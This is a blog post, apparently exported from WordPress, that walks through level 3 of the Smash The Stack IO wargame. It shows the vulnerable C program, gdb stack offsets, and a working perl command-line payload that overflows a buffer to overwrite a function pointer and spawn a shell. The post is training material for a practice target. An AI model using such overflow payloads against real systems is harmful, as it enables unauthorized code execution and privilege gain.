{"id":150,"date":"2012-07-31T15:47:50","date_gmt":"2012-07-31T22:47:50","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=150"},"modified":"2012-07-31T15:57:12","modified_gmt":"2012-07-31T22:57:12","slug":"io-level-3-function-pointers","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=150","title":{"rendered":"IO Level 3 &#8211; Function Pointers"},"content":{"rendered":"<p>Welcome back. \u00a0Today we&#8217;re going to be looking at the <a title=\"IO\" href=\"http:\/\/io.smashthestack.org:84\/\" target=\"_blank\">IO<\/a> wargame from <a title=\"Smash The Stack\" href=\"http:\/\/www.smashthestack.org\" target=\"_blank\">Smash The Stack<\/a>. \u00a0Specifically, we will be looking at level 3. \u00a0If you&#8217;re interested in following along, go a head and ssh into IO as level3 with the password you got from completing level2.<\/p>\n<p>Once in, we should check the \/levels directory as that is where the executables for this wargame reside. \u00a0Upon doing this we can see two files, an executable called level03 and a file called level03.c. \u00a0Let&#8217;s look at the C file and see if we can find something to exploit:<\/p>\n<blockquote><p>level3@io:~$ more \/levels\/level03.c<br \/>\n#include &lt;stdio.h&gt;<br \/>\n#include &lt;unistd.h&gt;<br \/>\n#include &lt;string.h&gt;<\/p>\n<p>int good(int addr) {<br \/>\nprintf(&#8220;Address of hmm: %p\\n&#8221;, addr);<br \/>\n}<\/p>\n<p>int hmm() {<br \/>\nprintf(&#8220;Win.\\n&#8221;);<br \/>\nexecl(&#8220;\/bin\/sh&#8221;, &#8220;sh&#8221;, NULL);<br \/>\n}<\/p>\n<p>extern char **environ;<\/p>\n<p>int main(int argc, char **argv) {<\/p>\n<p>int i, limit;<\/p>\n<p>for(i = 0; environ[i] != NULL; i++)<br \/>\nmemset(environ[i], 0x00, strlen(environ[i]));<\/p>\n<p>int (*fptr)(int) = good;<br \/>\nchar buf[32];<\/p>\n<p>if(strlen(argv[1]) &lt;= 40) limit = strlen(argv[1]);<\/p>\n<p>for(i = 0; i &lt;= limit; i++) {<br \/>\nbuf[i] = argv[1][i];<br \/>\nif(i &lt; 36) buf[i] = 0x41;<br \/>\n}<\/p>\n<p>int (*hmmptr)(int) = hmm;<\/p>\n<p>(*fptr)((int)hmmptr);<\/p>\n<p>return 0;<\/p>\n<p>}<\/p><\/blockquote>\n<p>Looking at the code, we can see there is a character buffer that gets filled with input from the first command line argument. \u00a0This seems like a good place to start looking. \u00a0Further analyzing the code shows that if we want to fill this buffer, we&#8217;re going to be limited in the number of bytes we can write by the variable &#8220;limit&#8221;, which controls the buffer writing for-loop. \u00a0Looking one line up, we can see the only place where the limit variable is set. \u00a0Here, it is set to the length of the first command line argument only if the length of the first command line argument is less than or equal to 40 characters.<\/p>\n<p>So far, his seems promising. \u00a0We can see there is a 32 bit buffer and we can control the program to write 40 bytes to it. \u00a0This means that the program is vulnerable to a buffer overflow. \u00a0However, only being able to overflow it by 8 bytes is a restriction in that it won&#8217;t be enough to overwrite the return address on the stack. \u00a0Now would be a good time to try and figure out what the stack looks like, so we know what we can overwrite with this buffer overflow, and how it might effect the program.<\/p>\n<p>Looking at the order in which variables are defined in the source code, we can assume the stack has a layout similar to the following:<\/p>\n<blockquote><p>\u00a0 \u00a0 \u00a0 \u00a0 4B \u00a0 \u00a0 \u00a0 \u00a032B \u00a0 \u00a0 4B \u00a0 \u00a0 \u00a04B \u00a0 \u00a04B \u00a04B \u00a0 \u00a0 \u00a04B \u00a0 \u00a0 4B \u00a0 \u00a04B<br \/>\n[*hmmptr][buf][*fptr][limit][i][argv][argc][sfp][ra]<\/p><\/blockquote>\n<p>Judging by the above layout and the program, we have an interesting conundrum. \u00a0The variable *fptr is a function pointer. \u00a0Also, if we look at the bottom of the code before the final return 0, we can see that this function pointer is used to call the function it points to. \u00a0This simply means, if we can get *fptr to point to a function which does something useful, we could benefit. \u00a0Also since *fptr is after buf, it looks like it may be in range of the overflow. \u00a0However, if we look at the code again, we see the final line of the for-loop doesn&#8217;t let us control what is written to memory during the first 36 bytes of writing. \u00a0Looking at the above memory layout, that means we might not be able to control *fptr.<\/p>\n<p>However, let&#8217;s get a more detailed view of memory in this program instead of our guess. \u00a0Let&#8217;s load the program in gdb and dissassemble main. \u00a0While I won&#8217;t post all the assembly code here, I will post a few lines of importance. \u00a0Essentially what we want to do is read through the assembly and understand where each variable is on the stack. \u00a0To do that, we can look for the instructions that use our variables of interest and see at what offset from the base pointer the variables reside. \u00a0Below are the lines we&#8217;re looking for with some added comments:<\/p>\n<blockquote><p>0x08048524 &lt;main+117&gt;: movl $0x8048464,-0x14(%ebp) &#8211;int (*fptr)(int) = good;<br \/>\n0x0804855d &lt;main+174&gt;: cmp -0x10(%ebp),%eax &#8211;i &lt;= limit;<\/p>\n<p>&#8211;buf[i] = 0x41;<br \/>\n0x08048582 &lt;main+211&gt;: lea -0x38(%ebp),%eax &#8211;move address of start of buf into eax<br \/>\n0x08048585 &lt;main+214&gt;: add -0xc(%ebp),%eax &#8211;add value of i to eax<br \/>\n0x08048588 &lt;main+217&gt;: movb $0x41,(%eax) &#8211;move hex value 0x41 into memory address stored in eax<\/p>\n<p>0x08048592 &lt;main+227&gt;: movl $0x804847f,-0x3c(%ebp) &#8211;int (*hmmptr)(int) = hmm;<\/p><\/blockquote>\n<p>Looking at the above lines of assembly we can figure out where on the call stack the variables for the program reside, specifically what is located 36 bytes after the start of buf. This is an important question because it seems as though we&#8217;re only able to control what is written to the four bytes starting at buf+36; \u00a0Analyzing the above we can pull out the following offsets for variables:<\/p>\n<blockquote><p>-0x3c(%ebp) =&gt; hmmptr<br \/>\n-0x38(%ebp) =&gt; buf<br \/>\n-0x14(%ebp) =&gt; fptr<br \/>\n-0x10(%ebp) =&gt; limit<br \/>\n-0x0c(%ebp) =&gt; i<\/p><\/blockquote>\n<p>Finally, doing a little math we can calculate the difference between the memory location of buf and of fptr:<\/p>\n<blockquote><p>0x38 &#8211; 0x14 = 0x24<\/p><\/blockquote>\n<p>Which, when we convert it to decimal, is 36. \u00a0Interestingly enough, that means that fptr is located starting at the memory location 36 bytes past the start of buf. \u00a0So, if we use a 40 character string we can exploit the buffer overflow to change the value of fptr. \u00a0Now we need to determine what to change fptr to. \u00a0Luckily enough, the function &#8220;hmm&#8221; looks like a good target! \u00a0Hmm does exactly what we want, it spawns a shell. \u00a0So using the information we had from the assembly lines above, we can see that the hmm function starts at memory location 0x0804847f. \u00a0So, let&#8217;s attempt to write a 40 character string which will overwrite fptr with the location of hmm. \u00a0Remember to write the bytes in little-endian (reverse) order:<\/p>\n<blockquote><p>level3@io:~$ \/levels\/level03 `perl -e &#8216;print &#8220;A&#8221;x36,&#8221;\\x7f\\x84\\x04\\x08&#8243;&#8216;`<br \/>\nWin.<br \/>\nsh-4.1$ whoami<br \/>\nlevel4<br \/>\nsh-4.1$ more \/home\/level4\/.pass<br \/>\nYYYYYYYYYYYY<\/p><\/blockquote>\n<p>There we have it. \u00a0In this example we found a vulnerable buffer overflow which allowed us to re-write a function pointer and simply wait for the function to be called. \u00a0This is slightly different from many of the other common buffer overflows which simply smash through the entire stack frame to overwrite the return address at the end. \u00a0It just goes to show that buffer overflows are a serious security vulnerabilities which need to be taken seriously.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Welcome back. \u00a0Today we&#8217;re going to be looking at the IO wargame from Smash The Stack. \u00a0Specifically, we will be looking at level 3. \u00a0If you&#8217;re interested in following along, go a head and ssh into IO as level3 with &hellip; <a href=\"https:\/\/seanmurphree.com\/blog\/?p=150\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,6,4],"tags":[27,30,50,12,49,11,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/150"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=150"}],"version-history":[{"count":5,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/150\/revisions"}],"predecessor-version":[{"id":152,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/150\/revisions\/152"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}